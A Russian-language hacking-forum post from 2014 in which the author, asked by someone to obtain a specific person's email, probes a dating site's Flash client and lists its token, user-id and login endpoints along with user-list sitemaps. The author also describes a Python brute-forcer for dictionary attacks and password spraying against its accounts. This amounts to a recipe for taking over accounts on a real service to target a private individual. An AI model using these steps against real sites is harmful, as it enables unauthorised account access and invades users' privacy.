Старый 30.07.2014, 04:20   #1
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию kisses[...].ru

Предыстория.
Поболтал с одним человеком, который попросил как-нибудь выудить почту нужного лица. Пентест вылился в следующее.


Сам по себе ресурс содержит уязвимости/баги разного масштаба (Resin с читалкой файлов в директории resin-doc, некоторые запросы вызывают 500-ю ошибку, бложек на WP с парой необновлённых плагинов и т.п.)
НО, интересная часть - официальный клиент на ActionScript. Разобрав SWF и побродив по классам, находим следующее:
Код:
	  function retrieveAToken(param1:Function) : void {
         var urlStream:URLStream = null;
         var listener:Function = param1;
         if((((this.atoken) || (!this.username)) || (this.username.length == 0)) || (!this.password) || this.password.length == 0)
         {
            listener();
         }
         else
         {
            urlStream = new URLStream();
            urlStream.addEventListener(Event.COMPLETE,function(param1:Event):void
            {
               if(urlStream.bytesAvailable != 32)
               {
               }
               atoken = urlStream.readUTFBytes(urlStream.bytesAvailable);
               listener();
            });
            urlStream.addEventListener(IOErrorEvent.IO_ERROR,function(param1:IOErrorEvent):void
            {
               listener();
            });
            urlStream.load(new URLRequest("http://kisses[...].ru/atoken?id=" + this.username + "&pass=" + escape(this.password)));
         }
      }
где this.username == id пользователя на сайте, далее по коду:

Код:
         historyCommand.addEventListener(Event.SELECT,function(param1:Event):void
         {
            var $e:Event = param1;
            retrieveAToken(function():void
            {
               navigateToURL(new URLRequest("http://kisses[...].ru/history" + (atoken?"?atoken=" + atoken:"")));
            });
         });
...


private function navigateToHome() : void {
         var _loc1_:URLRequest = new URLRequest("http://kisses[...].ru" + (this.atoken?"/?atoken=" + this.atoken:""));
         navigateToURL(_loc1_);
      }
Соответственно, мы можем попасть в аккаунт человека, не зная его e-mail, имея на руках лишь токен (который как бы представляет из себя md5 от каких-то параметров, тестовый подбор ничего не дал, если найти валидный вариант, то возможно заюзать брут данного хеша в том же PasswordsPro/Hascat/etc.)
Причём, "пароль должен содержать от 6 до 15 цифр и символов латинского алфавита", что несколько сужает объём вариантов.

Под данную фичу/баг был написан многопоточный брут на python в 2-х вариациях:
1. брут конкретного акка по словарю пассов
2. брут всех аккаунтов по одному паролю (парсер id прилагается)

Summary.
Получение токена:
Код:
http://kisses[...].ru/atoken?id=[id пользователя]&pass=[пароль]
Если пароль неверный - 403 Forbidden, верный - возвращает токен.

Получение id:
Код:
http://kisses[...].ru/id?email=[мэйл]&pass=[пароль]
Если пароль неверный - 403 Forbidden, верный - возвращает id.

Вход по токену. Так в историю сообщений:
Код:
http://kisses[...].ru/history?atoken=[токен]
Или так на свою страницу:
Код:
http://kisses[...].ru/?atoken=[токен]
Код:
http://kisses[...].ru/robots.txt
Список пользователей:
http://kisses[...].ru/sitemap/us1.jsp
http://kisses[...].ru/sitemap/us2.jsp
http://kisses[...].ru/sitemap/us3.jsp
http://kisses[...].ru/sitemap/us4.jsp
http://kisses[...].ru/sitemap/us5.jsp
Список стран: http://kisses[...].ru/sitemap/country.jsp
Список городов: http://kisses[...].ru/sitemap/city.jsp
Версия клиента: http://kisses[...].ru/client/version.txt
Текущие настройки http://kisses[...].ru/api/v1/settings?access_token=[токен]
Ссыль

P.S. выкладываю по нескольким причинам:
1. дабы не потерять
2. мб кто-нибудь посоветует что-то добавить/исправить
3. сегодняшние тесты намекают на некоторую защиту от перебора (полностью не режется)
4. прост)))
aka_zver вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot